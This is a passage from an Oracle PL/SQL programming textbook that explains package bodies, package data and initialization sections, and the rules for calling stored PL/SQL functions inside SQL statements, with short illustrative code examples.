The package body can have declaration, execution, and exception sections, just like a normal PL/SQL block. The declaration section contains the definition of any objects in public packages (listed in the specification) and also the definition of any private objects (not listed in the specification).

The execution section is the "initialization section" of the package. It is executed when the package is instantiated (which usually occurs the very first time you reference a package element) and is described in more detail below. The exception section handles any exceptions raised in the initialization section.

A package body could have an empty declaration section but include an initialization section (see the last section in the chapter). A package body could also have a declaration section without an initialization section -- this is the format of most of the packages you will write.

16.4.1 Declare in Specification or Body

If you declare a variable, exception, TYPE, or constant in the package specification, you do not also declare that same object in the body. If you declare it in the specification, it is available in the package body without an explicit, local declaration. This can be a hard thing to get used to; the object is not declared in the immediately visible scope of code, yet your package modules compile just fine. Remember: objects declared in the package specification are global data, so they should certainly be available within the body of that same package!

If you do try to redeclare an object within the body, you receive the following kind of error:

PLS-00371 at one more declaration for 'PETID_NU' is permitted in the
          declaration section

If you declare objects in the package body that are outside of all the modules, but not in the package specification, then those objects are global within the package but invisible outside of the package. The values held by package variables persist from one call to a package module to another call to the same or a different package module. Such objects are called package data, since their scope is the package. Any module may reference such an object without explicitly declaring it in the module itself.

16.4.2 Synchronize Body with Package

The package specification and the package body of a package must be kept synchronized. Whenever you make a change in the package body to the name, parameter list, datatype, default value, or RETURN clause of a public object (to the portion of the object, in other words, that must be in the package specification), you must make that same change to the package specification. If the specifications for the objects do not match exactly, the body will fail to compile. In the PL/SQL language, the specification (like the proverbial customer) is always right.

Suppose that in my pet maintenance package, I decide to change the datatype of the pet_id_in parameter in next_pet_shot from the subtype for the primary key to simply NUMBER. My package body then looks like this:

PACKAGE BODY pets_inc
IS
   ...
   FUNCTION next_pet_shot (pet_id_in IN NUMBER) RETURN DATE
   IS BEGIN ... END;
   ...
END pets_inc;

while my package specification remains the same:

PACKAGE pets_inc
IS
   ...
   FUNCTION next_pet_shot (pet_id_in IN petid_type) RETURN DATE;
   ...
END pets_inc;

When I try to compile the package body, I receive the following error:

PLS-00323: subprogram 'NEXT_PET_SHOT' is declared in a package
           specification and must be defined in the package body.

This can be a very alarming and confusing error. The next_pet_shot subprogram must be "defined"? "But it's right there in the package body!" you exclaim. "What is wrong with that compiler?" The problem is that the parameter list of next_pet_shot in the body is different from that in the specification. Even if the datatype to which the petid_type subtype evaluates is a NUMBER, PL/SQL will not accept the version in the body as the implementation for the module in the specification.

When PL/SQL tries to compile a package body, it checks to see that everything defined in the package specification has a body (cursor or module) in the package body. If PL/SQL does not find an exact match for a specification in the body, then it decides that that object is not defined in the package body at all. PL/SQL doesn't look at the object named next_pet_shot in the body and say, "Gee, you really are so close to the version in the specification!" It just throws up its hands and points to the incriminating module. It would be nice to have PL/SQL automatically synchronize the body with the specification, but there are all sorts of complications and, anyway, it would probably destroy something you wanted left intact. So you just have to remember to make changes in both places.

Previous: 16.3 The Package Specification | Oracle PL/SQL Programming, 2nd Edition | Next: 16.5 Package Data
16.3 The Package Specification | Book Index | 16.5 Package Data
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 16] 16.5 Package Data

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

16.5 Package Data

Some of the most interesting and useful features of packages have to do with package data. Package data is any data structure declared in a package body or specification. With package data you can:

  • Create global variables that are accessible from any program in the current session.

  • Create persistent data structures -- data that retains its value throughout your Oracle session, even when no package programs are running.

This section describes the architecture of and uses for package data.

16.5.1 Architecture of Package-Based Data

The first time you reference a package element, the entire package (compiled) is loaded into the SGA of the Oracle database instance on the server. That code is then shared by all sessions having EXECUTE authority on the package.

The data that is declared by the package elements is also instantiated in the SGA, but it is not shared across all sessions. Instead, each Oracle session is assigned its own private PL/SQL area, which contains a copy of the package data (see Figure 16.4). This private PL/SQL area is maintained in the SGA for as long as your session is running. The values assigned to your packaged data structures also remain available in the SGA throughout your session. In other words, they persist for the duration.

Contrast this behavior with the variables instantiated in the declaration section of a standalone module. The scope of those variables is restricted to the module. When the module terminates, the memory and values associated with those variables are released. They are no more.

Figure 16.4: Private PL/SQL areas in shared memory

The scope of a package is, however, the entire schema in which it is defined. Any session that has EXECUTE authority on the package may access the package and use the data defined inside the package. Because the scope of the package data is the entire session, their values are maintained in the SGA. You are not, in other words, simply sharing the data structure among your programs. You share the values in those structures as well.

16.5.2 Global Within a Single Oracle Session

As a result of the SGA-based architecture, package data structures act as globals within the PL/SQL environment. Remember, however, that they are globals only within a single Oracle session or connection. Package data is not shared across sessions. If you need to share data between different Oracle sessions, you must use the DBMS_PIPE package (see Appendix C, for more information).

You need to be careful about assuming that different parts of your application do maintain a single Oracle connection. There are times when a tool may establish a new connection to the database to perform an action. If this occurs, the data you have stored in a package in the first connection will not be available.

Consider the scenario in Figure 16.5. An Oracle Forms application has saved values to data structures in a package. When the form calls a stored procedure, this stored procedure can access these same package-based variables and values as the form, because they share a single Oracle connection.

The form then uses the RUN_PRODUCT built-in to kick off a report using Oracle Reports. By default, Oracle Reports uses a second connection to the database (same user name and password) to run the report. So even if this report accesses the same package and its data structures, the values in those data structures will not match those used by the form. It is a different Oracle connection and a new instantiation of the data structures.

Figure 16.5: Two Oracle connections between Oracle Forms and Oracle Reports

Just as there are two types of data structures in the package (public and private), there are also two types of global package data to consider: global public data and global private data. The next two sections explore the differences between these kinds of package data.

16.5.3 Global Public Data

Any data structure declared in the specification of a package is a global, public data structure. This means that any program outside of the package can access the data structure. You can, for example, define a PL/SQL table in a package specification and use it to keep a running list of all employees selected for a raise. You can also create a package of constants which are used throughout all of your programs. Then all developers will reference the packaged constants instead of hardcoding the values in their programs.

You can also change global public data structures, unless they are variables declared as CONSTANTs in the declaration statement.

Global data is the proverbial "loose cannon" of programming. It is very convenient to declare, and have available from any module at any point in time, all sorts of information. Reliance on global data structures, however, leads to unstructured code that is full of side effects.

Remember that the specification of a module should give you all the information you need to understand how to call and use that module. If the program reads and/or writes global data structures, you cannot tell this from the module specification. You cannot be sure of what is happening in your application and which program changes what data.

It is always preferable to pass data as parameters in and out of modules. In that way, the reliance on those data structures is documented in the specification and can be accounted for by the developer.

On the other hand, you should create named, global data structures for information that truly is global to an application, such as constants and configuration information.

16.5.4 Global Private Data

A global but private data structure, also called package-level data, is declared in the body of the package. Since it does not appear in the specification, this data cannot be referenced outside of the package -- only from within the package, by other package elements. This data only exists on the level of the package.

A data structure declared in a package still does function as a global. Since it is not declared in any specific module's declaration section, it is available to all modules, cursors, and other elements of the package.

In the following example of the sp_timer package (the full version is on the disk), the last_timing variable is a package-level global. It is referenced in both of the modules, capture and elapsed. The capture procedures sets the value of last_timing. The elapsed function uses the value of last_timing to compute the elapsed time.

/* Filename on companion disk: sptimer.sps. */
PACKAGE BODY sp_timer
IS
   /* Package variable which stores the last timing made */
   last_timing NUMBER := NULL;

   PROCEDURE capture (context_in IN VARCHAR2 := NULL)
   /* Save current time and context to package variables. */
   IS
   BEGIN
      last_timing := DBMS_UTILITY.GET_TIME;
   END;

   FUNCTION elapsed RETURN NUMBER IS
   BEGIN
      IF last_timing IS NULL
      THEN
         RETURN NULL;
      ELSE
         RETURN DBMS_UTILITY.GET_TIME - last_timing;
      END IF;
   END;

END sp_timer;

16.5.5 Providing an Interface to Global Data

You will often want to build a programmatic interface around your global data, due to the following drawbacks of global data:

  • Loss of control. When you declare a data structure in the package specification, that variable (or PL/SQL table or whatever) becomes fair game for any program that wants to change it (unless it is declared as a CONSTANT). If a program can make changes without any controls, then you lose the ability to apply rules to the way the data is used. It is impossible to provide an object orientation to your application if this happens.

  • Maintenance headaches. When you allow programmers to make direct references to package data structures, you are limiting your ability to change those data structures over time. Suppose that last year I implemented an in-memory profit-and-loss statement as a string variable filled with numbers padded to a length of ten. Suppose too that the total profit entry in the statement is the fourteenth number in the string. If I declared this string in my package specification, programmers who needed access to the statement would write a line of code like this:

    total_profit_loc := 14;
total_profit := SUBSTR (pl.stmt, (total_profit_loc-1)*10 + 1, 10);

    Then along comes PL/SQL Release 2.3 and I can use PL/SQL tables of records to store my many P & L statements. Suddenly my hands are tied. If I change the underlying data structure of my P & L statement, every single program that directly accessed the filled string will have to be changed.

You can regain control of your package data and also ease your maintenance and enhancement frustrations by building a programmatic interface around your data. This interface is also referred to as "get and set programs" and "access routines," because they usually get and set the values of data and control access to those data structures.

In the preceding code, if I had instead declared the stmt string in the body of my pl package, I could have provided functions to retrieve the different elements of the statement as follows:

total_profit := pl.retrieve ('total_profit');

I would then be free to change the underlying data structure from filled string to PL/SQL table. As long as the interface to the pl.retrieve function did not change, none of the programs that relied on the old data would have to change. My programmatic interface would have protected both my data structure and all the programs that relied on it.

Consider the simple sp_timer package (the body of which was reviewed in the last section). The whole point of this package is to keep track of the elapsed time, down to the 100th of a second. It calculates the elapsed time by storing the starting point in a private global variable, last_timing. If a programmer could have direct access to this variable, he could change its value and disrupt the elapsed time calculation. So instead of defining last_timing in the specification, I place it in the body and instead provide two modules in the specification as follows:

PACKAGE sp_timer
IS
   PROCEDURE capture (context_in IN VARCHAR2 := NULL);

   FUNCTION elapsed RETURN NUMBER;

END sp_timer;

The only way a developer can change last_timing is through the capture procedure. The only way a developer can retrieve the elapsed time is through the elapsed function. My data structure is protected.

Previous: 16.4 The Package Body | Oracle PL/SQL Programming, 2nd Edition | Next: 16.6 Package Initialization
16.4 The Package Body | Book Index | 16.6 Package Initialization
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 16] 16.6 Package Initialization

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

16.6 Package Initialization

The first time your application makes a reference to a package element, the entire package (in pre-compiled form) is loaded into the SGA of the database instance, making all objects immediately available in memory. You can supplement this automatic instantiation of the package code with the automatic execution of initialization code for the package. This initialization code is contained in the optional initialization section of the package body.

The initialization section consists of all statements following the BEGIN statement through the END statement for the entire package body. It is called the initialization section because the statements in this section are executed only once, the first time an object in the package is referenced (a program is called, a cursor is opened, or a variable is used in an assignment, to name a few possibilities). The initialization section initializes the package; it is commonly used to set values for variables declared and referenced in the package.

The initialization section is a powerful mechanism: PL/SQL detects automatically when this code should be run. You do not have to explicitly execute the statements, and you can be sure they are run only once.

16.6.1 Drawbacks of Package Initialization

There are some disadvantages to the initialization section.

  • It can be dangerous to have your tool perform actions for you that are not explicitly triggered by a user or developer action.

  • It is harder to trace actions triggered automatically by the tool ("Now where does that variable get set? How did that record get inserted into that table? I don't see it in any of my code!").

  • Executable statements buried in initialization sections are much harder to maintain; what are the chances that a new developer will think to search the ends of packages for the cause of (or solution to) a problem?

In my experience, the initialization section is rarely used. By and large, you spend most of your package development time in the declaration area of the package body, since you use the package mostly to define modules, which can then be called outside of the package.

16.6.2 Use Initialization Section for Complex Logic

Use the initialization section only when you need to set the initial values of package elements using rules and complex logic that cannot be handled in the default value syntax for variables. You do not need an initialization section to set the value of the constant earliest_date to today's date. Instead, simply declare the variable with a default value. The straightforward declaration in the package specification looks like this:

PACKAGE config_pkg
IS
   earliest_date CONSTANT DATE := SYSDATE;
END config_pkg;

and should always be used in place of something like this:

PACKAGE config_pkg
IS
   earliest_date DATE;
END config_pkg;

PACKAGE BODY config_pkg
/*
|| This package body only exists to provide an initial value for the
|| earliest_date variable. This could have been done in the declaration
|| itself. This is not a justifiable use of an initialization section.
*/
IS
BEGIN
   earliest_date := SYSDATE;
END config_pkg;

16.6.3 Side Effects

Avoid setting the values of package global data from other packages within the initialization section. This precaution could prevent havoc in code execution and confusion for maintenance programmers. As the following example demonstrates, keep the initialization section code focused on the current package so it can get its job done. Remember: this code is executed whenever your application first tries to use the package element. You don't want to have your users sitting idle while the package performs some snazzy, expensive setup computations that could be parceled out to different packages or even triggers in the application.

PACKAGE BODY company IS
BEGIN
   /*
   || Initialization section of company_pkg updates the global
   || package data of another package. This is a no-no!
   */
   SELECT SUM (salary)
     INTO employee_pkg.max_salary
     FROM employee;

END company;

If your initialization requirements do not fit within the above guidelines, you should consider alternatives to the initialization section, such as grouping your startup statements together into a procedure in the package. Give the procedure a name like init_environment. Then, at the appropriate initialization point in your application, call the init_environment procedure to set up your session.

16.6.4 Load Session Data in Initialization Section

A perfectly legitimate use of the initialization section is shown below for the session_pkg. This package contains information about the current user session -- the name of the user, the Oracle account name, user preferences, and so forth. All the package global variables are set the very first time any of the variables are referenced in an application's code. I need to use an initialization section because most (but not all) of the user information is stored in a table.

The package specification declares all the variables and sets whatever values it can:

PACKAGE session_pkg
IS
   user_name VARCHAR2 (80);
   user_id VARCHAR2 (10) := USER;
   show_lov VARCHAR2 (1);
   show_toolbar VARCHAR2 (1);
   printer VARCHAR2 (30);

END session_pkg;

The package body selects the data from the table to fill in the remaining values. If no match is found for the current user, an exception section traps that problem and assigns default values for an "unregistered" user. If any other exception is raised, then RAISE_APPLICATION_ERROR communicates the problem back to the calling program and most likely halts execution of the application, as shown in this example:

PACKAGE BODY session_pkg
/*
|| Look, Ma! No declarations in the package body at all!
|| Just an initialization section to support the specification.
*/
IS
BEGIN
   SELECT first_name || ' ' || last_name,
          show_lov_flag,
          show_toolbar_flag,
          default_printer
     INTO user_name, user_id, show_lov, show_toolbar, printer
     FROM user_config
    WHERE user_id = USER;

EXCEPTION
   WHEN NO_DATA_FOUND
   THEN
      /* No record in config table for this user. */
      user_name:= 'NOT REGISTERED';
      show_lov:= 'Y';
      show_toolbar:= 'Y';
      printer:= 'lpt1';

   WHEN OTHERS
   THEN
      /* Display generic error for unknown problem */
      RAISE_APPLICATION_ERROR
            (-20000, 'Problem obtaining user profile for ' || USER);

END session_pkg;

Previous: 16.5 Package Data | Oracle PL/SQL Programming, 2nd Edition | Next: 17. Calling PL/SQL Functions in SQL
16.5 Package Data | Book Index | 17. Calling PL/SQL Functions in SQL
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 17] Calling PL/SQL Functions in SQL

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book
Previous: 16.6 Package Initialization Chapter 17 Next: 17.2 Syntax for Calling Stored Functions in SQL

17. Calling PL/SQL Functions in SQL

Contents:
Looking at the Problem
Syntax for Calling Stored Functions in SQL
Requirements for Stored Functions in SQL
Restrictions on PL/SQL Functions in SQL
Calling Packaged Functions in SQL
Column/Function Name Precedence
Realities: Calling PL/SQL Functions in SQL
Examples of Embedded PL/SQL

PL/SQL is a procedural language extension to SQL, so you can also issue native calls to SQL statements such as SELECT, INSERT, and UPDATE from within your PL/SQL programs. Until Release 2.1 of PL/SQL (which comes with Oracle7 Release 7.1 of the RDBMS), however, you weren't able to place your own PL/SQL functions inside a SQL statement.

NOTE: The capabilities described in this chapter are available only in PL/SQL Release 2.1 and above.

17.1 Looking at the Problem

The restriction on putting PL/SQL functions inside an SQL statement often resulted in cumbersome SQL statements and redundant implementation of business rules. Suppose, for example, you need to calculate and use an employee's total compensation both in native SQL and also in your forms. The computation itself is straightforward enough:

Total compensation = salary + bonus

My SQL statement would include this formula:

SELECT employee_name, salary + NVL (bonus, 0)
  FROM employee;

while my Post-Query trigger in my Oracle Forms application would employ the following PL/SQL code:

:employee.total_comp := :employee.salary + NVL (:employee.bonus, 0);

In this case, the calculation is very simple, but the fact remains that if you need to change the total compensation formula for any reason (different kinds of bonuses, for example), you would then have to change all of these hardcoded calculations both in the SQL statements and in the front end application components.

A far better approach is to create a function that returns the total compensation:

FUNCTION total_comp
   (salary_in IN employee.salary%TYPE, bonus_in IN employee.bonus%TYPE)
   RETURN NUMBER
IS
BEGIN
   RETURN salary_in + NVL (bonus_in, 0);
END;

Then I could replace the formulas in my code as follows:

SELECT employee_name, total_comp (salary, bonus)
  FROM employee;

:employee.total_comp := total_comp (:employee.salary, :employee.bonus);

Until Release 2.1 of PL/SQL the above SELECT statement raised the following error:

ORA-00919: invalid function

because there was no mechanism for SQL to resolve references to programmer-defined functions stored in the database. Now, Oracle has made the relationship between PL/SQL and SQL more of a two-way street. This makes sense, since the functions are stored in the database (in tables, of course) and therefore easily accessible at the SQL layer via a SELECT statement.

With PL/SQL Release 2.1, you can now call stored functions anywhere in a SQL statement where an expression is allowed, including the SELECT, WHERE, START WITH, GROUP BY, HAVING, ORDER BY, SET, and VALUES clauses (since stored procedures are in and of themselves PL/SQL executable statements, they cannot be embedded in a SQL statement).

You can use one of your own functions just as you would a built-in SQL function such as TO_DATE or SUBSTR or LENGTH. On the disk I've included a package, ps.parse (filenames psparse.sps and psparse.spb) that includes a function that returns the number of atomics (words and/or delimiters) in a string. I can employ this directly in a SQL statement to show the distribution of words in a series of textual notes, as follows:

SELECT line_number,
       ps_parse.number_of_atomics (line_text) AS num_words
  FROM notes
ORDER BY num_words DESC;

Notice that, in this case, I have assigned a column alias to my function call using the "AS" syntax. I can then use that alias in the ORDER BY without having to repeat the syntax for the function call itself.

The ability to place programmer-defined PL/SQL functions inside SQL is a very powerful enhancement to the Oracle development environment. With these functions you will be able to do the following:

  • Consolidate business rule logic into a smaller number of well tuned and easily maintained functions. You do not have to repeat this logic across individual SQL statements and PL/SQL programs. This is probably the most far-reaching and important advantage of using functions in PL/SQL.

  • Improve the performance of your SQL statements. SQL is a nonprocedural language, yet application requirements often demand procedural logic in your SQL. The SQL language is robust enough to let you get at the answer, but in some situations it is a very inefficient way to get that answer. Embedded PL/SQL can sometimes do the job much more quickly. There is also, of course, some overhead associated with calling these functions from within SQL. You will consequently need to evaluate carefully when and where PL/SQL functions in SQL will do you the most good.

  • Simplify your SQL statements. All the reasons you have to modularize your PL/SQL code apply to SQL as well, particularly the need to hide complicated expressions and logic behind a function specification. From the DECODE statement to nested, correlated subselects, the readability of many SQL statements will benefit from programmer-defined functions.

  • Perform actions in SQL which are otherwise impossible. SQL is a set-at-a-time language, identifying a set of rows and applying actions to those rows. It does not support iterative processing against an individual column value. Suppose you need to identify the number of occurrences of a substring within the names of companies. With pure SQL, you cannot do this. You can, on the other hand, apply a PL/SQL function to the company name in a SELECT list which can perform this kind of iterative processing.

You can place functions in a VALUES list, a SET clause, or a GROUP BY clause, as shown in the following:

  • VALUES list. Consider the following example:

    INSERT INTO notes
   (call_id, line_text, line_number)
VALUES
   (:call.call_id, :note.text, next_line_number (:call.call_id));

    The next_line_number function obtains the next sequence number for the notes for that particular call (i.e., while you might use the sequence generator to obtain the next unique call ID number, the line_number for notes for a given call always starts from one, so a sequence generator is inapplicable).

  • SET clause. The max_compensation function returns the maximum compensation possible for an employee's department.

    UPDATE employee SET salary = max_compensation (department_id)
 WHERE employee_id = 1005;

    In this case the max_compensation function replaces a subselect, which would use the SQL AVG function to compute the value.

  • GROUP BY clause. My company has done a very poor job of normalizing its job titles; there are 15 different variations of VICE PRESIDENT, 20 different kinds of MANAGER, and so forth. The following SELECT statement cuts through all the confusion and displays the total salary for each "category" of job.

    SELECT job_category (job_title_id) as title, SUM (salary)
  FROM employee
 GROUP BY title;

    The function is used both in the SELECT list and in the GROUP BY.

Previous: 16.6 Package Initialization | Oracle PL/SQL Programming, 2nd Edition | Next: 17.2 Syntax for Calling Stored Functions in SQL
16.6 Package Initialization | Book Index | 17.2 Syntax for Calling Stored Functions in SQL
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 17] 17.2 Syntax for Calling Stored Functions in SQL

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

17.2 Syntax for Calling Stored Functions in SQL

You call a stored function from within a SQL expression using the same syntax as in a PL/SQL expression:

[schema_name.][pkg_name.][func_name[@db_link_name][parameter_list]

where schema_name is the optional name of the schema in which the function is defined (the schema is usually your own Oracle account), pkg_name is the optional name of the package in which the function is defined (if it is not a standalone function), func_name is the name of the function, db_link_name is the optional name of the database link if you are executing a remote procedure call, and parameter_list is the optional list of parameters for the function.

Suppose that the calc_sales function is defined as follows:

FUNCTION calc_sales
   (company_id_in IN company.company_id%TYPE,
    status_in IN order.status_code%TYPE := NULL)
RETURN NUMBER;

then here are some different ways it might be called inside SQL:

  • As a standalone function:

    SELECT calc_sales (1001, 'O')
  FROM orders;

  • As a package-based function:

SELECT sales_pkg.calc_sales (1001, 'O')
  FROM orders;

  • As a remote, package-based function call:

SELECT sales_pkg.calc_sales@NEW_YORK (1001, 'O')
  FROM orders;

  • As a standalone function in a specific schema:

    SELECT scott.calc_sales (1001, 'O')
  FROM orders;

SQL will properly parse all of these variations, but you should always avoid hardcoding the module's schema and database link directly in your SQL statements (as shown in the third and fourth bullets). Instead, you should create synonyms that hide this information. That way, if you ever need to change the owner of the function or move it to a different database instance, you will have to change only the synonym, as opposed to all the individual SQL statements that call that function.

When you use a stored function in a SQL statement, you must use positional notation; named and mixed notations are not allowed. You can only call calc_sales by listing both arguments in their positional order.

Previous: 17.1 Looking at the Problem | Oracle PL/SQL Programming, 2nd Edition | Next: 17.3 Requirements for Stored Functions in SQL
17.1 Looking at the Problem | Book Index | 17.3 Requirements for Stored Functions in SQL
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 17] 17.3 Requirements for Stored Functions in SQL

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

17.3 Requirements for Stored Functions in SQL

There are several requirements a programmer-defined PL/SQL function must meet in order to be callable from within a SQL statement:

  • The function must be stored in the database. A function defined in an Oracle Developer/2000 PL/SQL library or in an individual form cannot be called from within SQL. There would be no way for SQL to resolve the reference to the function.

  • The function must be a row-specific function, not a column or group function. The function can apply only to a single row of data, not an entire column of data that crosses rows.

  • All of the function's parameters must use the IN mode. Neither IN OUT nor OUT parameters are allowed in SQL-embedded stored functions: You should never have IN OUT and OUT parameters in functions, period. Whether or not you are going to use that function inside a SQL statement, such parameters constitute side effects of the main purpose of the function, which is to return a single value.

  • The datatypes of the function's parameters, as well as the datatype of the RETURN clause of the function, must be recognized within the Oracle Server. While all of the Oracle Server datatypes are valid within PL/SQL, PL/SQL has added new datatypes not (yet) supported in the database. These datatypes include BOOLEAN, BINARY_INTEGER, PL/SQL tables, PL/SQL records, and programmer-defined subtypes.

  • Functions defined in packages must have a RESTRICT_REFEFRENCES pragma. If you want to call, from SQL, a function defined in a package, you will need to add a pragma to the package specification asserting explicitly that this function is valid for SQL execution. See Section 17.5, "Calling Packaged Functions in SQL" for more details on this step.

All of the following function specifications would be rejected if used within a SQL statement:

/* SQL doesn't know about PL/SQL tables. */
TYPE string_tabtype IS TABLE OF VARCHAR2(30) INDEX BY BINARY_INTEGER;
FUNCTION temp_table RETURN string_tabtype;

/* SQL doesn't know about Booleans. */
FUNCTION call_is_open (call_id_in IN call.call_id%TYPE) RETURN BOOLEAN;

FUNCTION calc_sales
   (company_id_in IN NUMBER, use_closed_orders_in IN BOOLEAN)
RETURN NUMBER;

Previous: 17.2 Syntax for Calling Stored Functions in SQL | Oracle PL/SQL Programming, 2nd Edition | Next: 17.4 Restrictions on PL/SQL Functions in SQL
17.2 Syntax for Calling Stored Functions in SQL | Book Index | 17.4 Restrictions on PL/SQL Functions in SQL
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 17] 17.4 Restrictions on PL/SQL Functions in SQL

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

17.4 Restrictions on PL/SQL Functions in SQL

Stored functions in SQL offer tremendous power. As you might expect, however, power introduces the possibility of abuse and the need for responsible action. In the context of SQL, abuse of power involves the rippling impact of side effects in a function. Consider the following function:

FUNCTION total_comp
   (salary_in IN employee.salary%TYPE, bonus_in IN employee.bonus%TYPE)
   RETURN NUMBER
IS
BEGIN
   UPDATE employee SET salary = salary_in / 2;
   RETURN salary_in + NVL (bonus_in, 0);
END;

This simple little calculation, introduced at the beginning of the chapter, now also updates the salary of all employees to half of the specified value. This action affects the results of the query from which total_comp might originate; even worse, it affects any other SQL statement in this session.

Along with modification of database tables, modification of package variables is another side effect of stored functions in SQL. Package variables act as globals within a particular session. A function that changes a package variable could have an impact on another stored function or procedure, which in turn could affect a SQL statement using that stored function.

A PL/SQL function could also cause a side effect in the WHERE clause of a query. The query optimizer can reorder the evaluation of predicates in the WHERE clause to minimize the number of rows processed. A function executing in this clause could therefore subvert the query optimization process.

My general recommendation for a function is that it should be narrowly focused on computing and returning a value. But a recommendation is not enough when it comes to database integrity: in order to guard against nasty side effects and upredictable behavior, the Oracle Server makes it impossible for your stored function in SQL to take any of the following actions:

  • The stored function may not modify database tables. It cannot execute an INSERT, DELETE, or UPDATE statement.

  • A stored function that is called remotely or through a parallelized action may not read or write the values of package variables. The Oracle Server does not support side effects that cross user sessions.

  • A stored function can update the values of package variables only if that function is called in a SELECT, VALUES, or SET clause. If the store function is called in the WHERE or GROUP BY clause, it cannot write package variables.

  • Prior to Oracle8, you can call very few built-in packaged programs inside a function which will be used in SQL. This means that your PL/SQL function cannot contain calls to DBMS_OUTPUT.PUT_LINE, DBMS_PIPE, and DBMS_SQL, to name just a few. In some cases, this makes perfect sense. If you are not allowed to perform an UPDATE, you certainly shouldn't be able to use DBMS_SQL to sneak that UPDATE by "the censors." But with other packages, the restriction is unnecessary and present only because Oracle did not enable those programs. In Oracle8, some of these restrictions are removed. You can call DBMS_OUTPUT.PUT_LINE from within a function called in SQL. You can even send information to database pipes.[1]

    [1] My book, Oracle Built-in Packages, contains a comprehensive discussion of the packaged functions which are available for use in SQL.

  • Prior to Oracle8, you cannot call RAISE_APPLICATION_ERROR from within the stored function.

  • In Oracle Server 7.3, you cannot apply PL/SQL table methods (COUNT, FIRST, LAST, NEXT, PRIOR, etc.) in a stored function which is used in SQL (this is a "known bug" fixed in Oracle8). For example, if your function contains the following code, it cannot be used in SQL:

    DECLARE
   TYPE emptabtype IS TABLE of emp%ROWTYPE INDEX BY BINARY_INTEGER;
   emptab emptabtype;
BEGIN
   IF emptab.COUNT > 0 THEN -- Causes rejection inside SQL

  • The stored function may not call another module (stored procedure or function) that breaks any of the above rules. A function is only as pure as the most impure of any modules it, in turn, calls.

  • The stored function may not reference a view that breaks any of the above rules. A view is a stored SELECT statement; that view's SELECT may use stored functions.

If your function violates any of these rules or is a function defined in a package and is missing its RESTRICT_REFERENCES pragma, you will receive the dreaded ORA-06571 error:

ORA-06571: Function TOTAL_COMP does not guarantee not to update database

As discussed in Section 17.7, "Realities: Calling PL/SQL Functions in SQL", it can be very difficult at times (and sometimes impossible) to avoid this error. In other situations, however, there is an easy resolution (certainly do check the above list of restrictions).

Previous: 17.3 Requirements for Stored Functions in SQL | Oracle PL/SQL Programming, 2nd Edition | Next: 17.5 Calling Packaged Functions in SQL
17.3 Requirements for Stored Functions in SQL | Book Index | 17.5 Calling Packaged Functions in SQL
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 17] 17.5 Calling Packaged Functions in SQL

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

17.5 Calling Packaged Functions in SQL

As I describe in Chapter 16, Packages, the specification and body of a package are distinct; a specification can (and must) exist before its body has been defined. This feature of packages makes life complicated when it comes to calling functions in SQL. When a SELECT statement calls a packaged function, the only information available to it is the package specification. Yet it is the contents of the package body which determine whether that function is valid for execution in SQL. The consequence of this structure is that you will have to add code to your package specification in order to enable a packaged function for calling in SQL.

To use the official lingo, you must explicitly "assert" the purity level (the extent to which a function is free of side effects) of a stored function in a package specification. The Oracle Server can then determine when the package body is compiled whether the function violates that purity level. If so, an error will be raised and you then face the sometimes daunting task of figuring out where and how the violation occurs.

You assert a purity level for a function with the RESTRICT_REFERENCES pragma, explored in the next section.

17.5.1 The RESTRICT_REFERENCES Pragma

As I've mentioned, a pragma is a special directive to the PL/SQL compiler. If you have ever created a programmer-defined, named exception, you have already encountered your first pragma. In the case of the RESTRICT_REFERENCES pragma, you are telling the compiler the purity level you believe your function meets or exceeds.

You need a separate pragma statement for each packaged function you wish to use in a SQL statement, and it must come after the function declaration in the package specification (you do not specify the pragma in the package body).

To assert a purity level with the pragma, use the following syntax:

PRAGMA RESTRICT_REFERENCES
